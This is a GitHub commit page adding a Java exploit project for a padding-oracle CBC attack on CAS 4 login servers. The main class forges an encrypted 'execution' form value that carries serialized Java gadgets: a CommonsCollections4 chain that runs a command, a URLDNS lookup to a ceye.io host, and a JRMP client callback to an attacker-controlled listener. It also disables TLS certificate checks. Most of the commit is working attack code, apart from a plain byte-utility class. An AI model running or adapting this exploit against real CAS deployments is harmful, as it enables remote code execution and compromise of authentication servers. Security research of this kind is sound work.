Skip to content

Commit e86b677

Browse files
author
“threedr3am”
committed
feat:CAS-4 Padding Oracle CBC - AES128
1 parent a4a3d68 commit e86b677

File tree

7 files changed

+659
-0
lines changed

7 files changed

+659
-0
lines changed

cas/CAS4PaddingOracleCBC/pom.xml

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>cas</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>PaddingOracleCBC</artifactId>
13+
14+
<dependencies>
15+
<dependency>
16+
<groupId>com.xyh</groupId>
17+
<artifactId>common</artifactId>
18+
<version>1.0-SNAPSHOT</version>
19+
</dependency>
20+
</dependencies>
21+
22+
</project>
Lines changed: 243 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,243 @@
1+
package com.threedr3am.bug.cas;
2+
3+
import com.threedr3am.bug.cas.support.CiphertextHeader;
4+
import com.threedr3am.bug.cas.support.PaddingOracleCBCForShiro;
5+
import com.threedr3am.bug.cas.support.PaddingOracleCBCForShiro.CBCResult;
6+
import com.threedr3am.bug.common.utils.HttpUtil;
7+
import com.threedr3am.bug.common.utils.Reflections;
8+
import com.threedr3am.bug.common.utils.TemplatesUtil;
9+
import java.io.ByteArrayOutputStream;
10+
import java.io.IOException;
11+
import java.io.ObjectOutputStream;
12+
import java.io.UnsupportedEncodingException;
13+
import java.net.InetAddress;
14+
import java.net.URL;
15+
import java.net.URLConnection;
16+
import java.net.URLStreamHandler;
17+
import java.rmi.server.ObjID;
18+
import java.security.cert.CertificateException;
19+
import java.security.cert.X509Certificate;
20+
import java.util.ArrayList;
21+
import java.util.Base64;
22+
import java.util.HashMap;
23+
import java.util.List;
24+
import java.util.Random;
25+
import java.util.regex.Matcher;
26+
import java.util.regex.Pattern;
27+
import java.util.zip.GZIPOutputStream;
28+
import javax.net.ssl.SSLContext;
29+
import org.apache.commons.collections4.bag.TreeBag;
30+
import org.apache.commons.collections4.comparators.TransformingComparator;
31+
import org.apache.commons.collections4.functors.InvokerTransformer;
32+
import org.apache.http.NameValuePair;
33+
import org.apache.http.client.entity.UrlEncodedFormEntity;
34+
import org.apache.http.client.methods.CloseableHttpResponse;
35+
import org.apache.http.client.methods.HttpPost;
36+
import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
37+
import org.apache.http.impl.client.CloseableHttpClient;
38+
import org.apache.http.impl.client.HttpClientBuilder;
39+
import org.apache.http.impl.client.HttpClients;
40+
import org.apache.http.message.BasicNameValuePair;
41+
import org.apache.http.ssl.SSLContextBuilder;
42+
import org.apache.http.ssl.TrustStrategy;
43+
import sun.rmi.server.UnicastRef;
44+
import sun.rmi.transport.LiveRef;
45+
import sun.rmi.transport.tcp.TCPEndpoint;
46+
47+
/**
48+
* @author threedr3am
49+
*/
50+
public class CasPaddingOracleCBC {
51+
52+
private String userUrl;
53+
private boolean isSsl;
54+
private SSLConnectionSocketFactory sslsf;
55+
56+
public static void main(String[] args) throws Exception {
57+
args = new String[] {"--attack", "http://localhost:8092/cas/login"};
58+
// byte[] bytes = serialize(cc4(), true);
59+
// byte[] bytes = serialize(DNS("http://cas.xxxxx.ceye.io"), true);
60+
byte[] bytes = serialize(jrmpclient("127.0.0.1:23333"), true);
61+
// byte[] bytes = serialize(new String("xxxxx"), true);
62+
new CasPaddingOracleCBC(args).attack(bytes);
63+
}
64+
65+
public CasPaddingOracleCBC(String[] args) {
66+
int argoff = 0;
67+
68+
while (argoff < args.length && args[argoff].charAt(0) == '-') {
69+
if (args[argoff].equals("--attack")) {
70+
argoff++;
71+
userUrl = args[argoff++];
72+
} else {
73+
argoff++;
74+
}
75+
}
76+
77+
if (isSsl = userUrl.startsWith("https")) {
78+
try {
79+
SSLContext sslContext = new SSLContextBuilder()
80+
.loadTrustMaterial(null, new TrustStrategy() {
81+
// 信任所有
82+
public boolean isTrusted(X509Certificate[] chain,
83+
String authType)
84+
throws CertificateException {
85+
return true;
86+
}
87+
}).build();
88+
sslsf = new SSLConnectionSocketFactory(
89+
sslContext);
90+
} catch (Exception e) {
91+
e.printStackTrace();
92+
}
93+
}
94+
}
95+
96+
private void attack(byte[] bytes) throws UnsupportedEncodingException {
97+
String origin = null;
98+
String uuid = null;
99+
String html = HttpUtil.get(userUrl);
100+
Matcher matcher = Pattern.compile("name=\"execution\" value=\"(.+?)\"").matcher(html);
101+
if (matcher.find()) {
102+
String execution = matcher.group(1);
103+
if (execution != null && execution.length() > 0) {
104+
uuid = execution.split("_")[0];
105+
origin = execution.split("_")[1];
106+
}
107+
}
108+
String finalOrigin = origin;
109+
String finalUuid = uuid;
110+
CBCResult cbcResult = PaddingOracleCBCForShiro
111+
.paddingOracleCBC(bytes, data -> {
112+
try {
113+
byte[] originBytes = Base64.getDecoder().decode(finalOrigin.getBytes());
114+
byte[] newOriginBytes = new byte[originBytes.length + data.length];
115+
System.arraycopy(originBytes, 0, newOriginBytes, 0, originBytes.length);
116+
System.arraycopy(data, 0, newOriginBytes, originBytes.length, data.length);
117+
return request(finalUuid + '_' + Base64.getEncoder().encodeToString(newOriginBytes));
118+
} catch (Exception e) {
119+
e.printStackTrace();
120+
}
121+
return false;
122+
});
123+
CiphertextHeader ciphertextHeader = new CiphertextHeader(cbcResult.getIv(), "aes128");
124+
byte[] newOriginBytes = new byte[ciphertextHeader.encode().length + cbcResult.getCrypt().length];
125+
System.arraycopy(ciphertextHeader.encode(), 0, newOriginBytes, 0, ciphertextHeader.encode().length);
126+
System.arraycopy(cbcResult.getCrypt(), 0, newOriginBytes, ciphertextHeader.encode().length, cbcResult.getCrypt().length);
127+
request(uuid + "_" + Base64.getEncoder().encodeToString(newOriginBytes));
128+
}
129+
130+
private boolean request(String data) throws UnsupportedEncodingException {
131+
HttpPost httpPost = new HttpPost(userUrl);
132+
List<NameValuePair> nameValuePairs = new ArrayList<>();
133+
NameValuePair nameValuePair = new BasicNameValuePair("execution", data);
134+
nameValuePairs.add(nameValuePair);
135+
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
136+
try {
137+
HttpClientBuilder httpClientBuilder = HttpClients
138+
.custom();
139+
if (isSsl)
140+
httpClientBuilder.setSSLSocketFactory(sslsf);
141+
142+
CloseableHttpClient httpClient = null;
143+
CloseableHttpResponse response = null;
144+
try {
145+
httpClient = httpClientBuilder.build();
146+
response = httpClient.execute(httpPost);
147+
return response.getStatusLine().getStatusCode() == 200;
148+
} finally {
149+
response.close();
150+
httpClient.close();
151+
}
152+
} catch (Exception e) {
153+
e.printStackTrace();
154+
}
155+
return false;
156+
}
157+
158+
private static Object cc4() throws Exception {
159+
Object templates = TemplatesUtil.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
160+
161+
// setup harmless chain
162+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
163+
164+
// define the comparator used for sorting
165+
TransformingComparator comp = new TransformingComparator(transformer);
166+
167+
// prepare CommonsCollections object entry point
168+
TreeBag tree = new TreeBag(comp);
169+
tree.add(templates);
170+
171+
// arm transformer
172+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
173+
return tree;
174+
}
175+
176+
public static Object DNS(final String ... url) throws Exception {
177+
178+
//Avoid DNS resolution during payload creation
179+
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
180+
URLStreamHandler handler = new SilentURLStreamHandler();
181+
182+
HashMap ht = new HashMap(); // HashMap that will contain the URL
183+
URL u = new URL(null, url[0], handler); // URL to use as the Key
184+
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
185+
186+
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
187+
188+
return ht;
189+
}
190+
191+
static class SilentURLStreamHandler extends URLStreamHandler {
192+
193+
protected URLConnection openConnection(URL u) throws IOException {
194+
return null;
195+
}
196+
197+
protected synchronized InetAddress getHostAddress(URL u) {
198+
return null;
199+
}
200+
}
201+
202+
public static Object jrmpclient( final String ... command ) throws Exception {
203+
204+
String host;
205+
int port;
206+
int sep = command[0].indexOf(':');
207+
if ( sep < 0 ) {
208+
port = new Random().nextInt(65535);
209+
host = command[0];
210+
}
211+
else {
212+
host = command[0].substring(0, sep);
213+
port = Integer.valueOf(command[0].substring(sep + 1));
214+
}
215+
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
216+
TCPEndpoint te = new TCPEndpoint(host, port);
217+
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
218+
return ref;
219+
}
220+
221+
private static byte[] serialize(Object o, boolean compression) throws IOException {
222+
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
223+
ObjectOutputStream out = null;
224+
225+
try {
226+
if (compression) {
227+
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
228+
} else {
229+
out = new ObjectOutputStream(outBuffer);
230+
}
231+
232+
out.writeObject(o);
233+
} catch (IOException e) {
234+
e.printStackTrace();
235+
} finally {
236+
if (out != null) {
237+
out.close();
238+
}
239+
240+
}
241+
return outBuffer.toByteArray();
242+
}
243+
}
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
/**
2+
* CAS-4 PaddingOracle CBC攻击
3+
*
4+
* @author threedr3am
5+
*/
6+
package com.threedr3am.bug.cas;
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
package com.threedr3am.bug.cas.support;
2+
3+
4+
import java.io.IOException;
5+
import java.io.InputStream;
6+
import java.nio.ByteBuffer;
7+
import java.nio.CharBuffer;
8+
import java.nio.charset.Charset;
9+
10+
/**
11+
* @author threedr3am
12+
*/
13+
public final class ByteUtil {
14+
public static final Charset DEFAULT_CHARSET = Charset.forName("UTF-8");
15+
public static final Charset ASCII_CHARSET = Charset.forName("ASCII");
16+
17+
private ByteUtil() {
18+
}
19+
20+
public static int toInt(byte[] data) {
21+
return data[0] << 24 | (data[1] & 255) << 16 | (data[2] & 255) << 8 | data[3] & 255;
22+
}
23+
24+
public static int readInt(InputStream in) {
25+
try {
26+
return in.read() << 24 | (in.read() & 255) << 16 | (in.read() & 255) << 8 | in.read() & 255;
27+
} catch (IOException var2) {
28+
throw new RuntimeException("Error reading from stream.", var2);
29+
}
30+
}
31+
32+
public static long toLong(byte[] data) {
33+
return (long)data[0] << 56 | ((long)data[1] & 255L) << 48 | ((long)data[2] & 255L) << 40 | ((long)data[3] & 255L) << 32 | ((long)data[4] & 255L) << 24 | ((long)data[5] & 255L) << 16 | ((long)data[6] & 255L) << 8 | (long)data[7] & 255L;
34+
}
35+
36+
public static long readLong(InputStream in) {
37+
try {
38+
return (long)in.read() << 56 | ((long)in.read() & 255L) << 48 | ((long)in.read() & 255L) << 40 | ((long)in.read() & 255L) << 32 | ((long)in.read() & 255L) << 24 | ((long)in.read() & 255L) << 16 | ((long)in.read() & 255L) << 8 | (long)in.read() & 255L;
39+
} catch (IOException var2) {
40+
throw new RuntimeException("Error reading from stream.", var2);
41+
}
42+
}
43+
44+
public static byte[] toBytes(int value) {
45+
byte[] bytes = new byte[4];
46+
toBytes(value, bytes, 0);
47+
return bytes;
48+
}
49+
50+
public static void toBytes(int value, byte[] output, int offset) {
51+
int shift = 24;
52+
53+
for(int i = 0; i < 4; ++i) {
54+
output[offset + i] = (byte)(value >> shift);
55+
shift -= 8;
56+
}
57+
58+
}
59+
60+
public static byte[] toBytes(long value) {
61+
byte[] bytes = new byte[8];
62+
toBytes(value, bytes, 0);
63+
return bytes;
64+
}
65+
66+
public static void toBytes(long value, byte[] output, int offset) {
67+
int shift = 56;
68+
69+
for(int i = 0; i < 8; ++i) {
70+
output[offset + i] = (byte)((int)(value >> shift));
71+
shift -= 8;
72+
}
73+
74+
}
75+
76+
public static String toString(byte[] bytes) {
77+
return new String(bytes, DEFAULT_CHARSET);
78+
}
79+
80+
public static String toString(ByteBuffer buffer) {
81+
return toCharBuffer(buffer).toString();
82+
}
83+
84+
public static CharBuffer toCharBuffer(ByteBuffer buffer) {
85+
return DEFAULT_CHARSET.decode(buffer);
86+
}
87+
88+
public static ByteBuffer toByteBuffer(String s) {
89+
return DEFAULT_CHARSET.encode(CharBuffer.wrap(s));
90+
}
91+
92+
public static byte[] toBytes(String s) {
93+
return s.getBytes(DEFAULT_CHARSET);
94+
}
95+
96+
public static byte[] toArray(ByteBuffer buffer) {
97+
if (buffer.limit() == buffer.capacity()) {
98+
return buffer.array();
99+
} else {
100+
byte[] array = new byte[buffer.limit()];
101+
buffer.position(0);
102+
buffer.get(array);
103+
return array;
104+
}
105+
}
106+
}
107+

0 commit comments

Comments
 (0)